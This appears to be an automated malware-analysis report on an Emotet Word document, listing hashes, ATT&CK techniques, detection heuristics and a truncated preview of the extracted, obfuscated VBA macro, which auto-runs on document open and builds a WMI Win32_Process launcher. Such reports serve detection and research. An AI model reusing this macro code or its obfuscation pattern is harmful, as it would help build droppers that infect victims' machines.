Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3e7f36da72101ab6…

MALICIOUS

Office (OLE)

195.2 KB Created: 2019-12-06 16:28:00 Authoring application: Microsoft Office Word First seen: 2021-06-30
MD5: b5f50cfc89d1741cf7d7a88d0219f4e4 SHA-1: 352b7446ccff81d9a8b07882ed876932cda9d9ad SHA-256: 3e7f36da72101ab6bc25f5f220159d1c172e848bbec9a20169315cf6bdc653ba
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1137.001 Office Application Startup: Office Application T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to launch processes via WMI. This behavior is characteristic of Emotet downloaders, which aim to execute a second-stage payload. The ClamAV detection further supports this attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7434496-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7434496-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10926 bytes
SHA-256: 450f7a2fd5cd325c5bdabd82e2f1858acc962a51b779590be8cc292edadf0db9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cuawcspkj"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Zqhsdqoqa, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Fiqbtaqzmdjir, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Xmjbifwbgwic, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Ietdfdsrhee, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Zfaoakyfz, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Suykfmqeiehh, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Nzfudkgtcf, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Gipnltcpjdd, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Azpakxrsjg, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Wpjkybnxilbi, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Ndpyhwubkvh, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Swgmcppwzebh, 11, 11, MSForms, TextBox"
Private Sub Document_open()
Hjbnigmwbara = Xqteapok
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   Hjbnigmwbara = Ctiddzdsmezf
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   Hjbnigmwbara = Vyglpeyf
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
Wmoqmozdw
End Sub

Attribute VB_Name = "Oeqttnfewpn"
Attribute VB_Base = "0{04875FA0-FFC9-4C29-AD0A-73974797D766}{BC329CD2-7065-4828-B732-3813C37D18BE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Vgbnstkk"
Function Wmoqmozdw()
On Error Resume Next
   Hjbnigmwbara = Tbmrpzqbcq
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   For Each xpEx8 In LHefzNdl
      MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
      Set bpSvu6O0r = Hjbnigmwbara
Next
Hpxeppxk = "winmgmts:Win32_Process"
   Hjbnigmwbara = Uqaiubnuouw
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
         DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
         MjEA = Oct(vzAg3C9b)
   End Select
   For Each xpEx8 In LHefzNdl
      MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
      Set bpSvu6O0r = Hjbnigmwbara
Next
Zokvxkcmjn = Hpxeppxk + ("STARTU")
   Hjbnigmwbara = Qidogelohumg
Select Case Hjbnigmwbara
      Case 241118429
         MzXN1 = Hjbnigmwbara
         NBnD22 = ChrW(865)
      Case 9723
         DUyy = Atn(LhnDHLR4 / 5)
         UFmR = Fix(558)
      Case 396
  
... (truncated)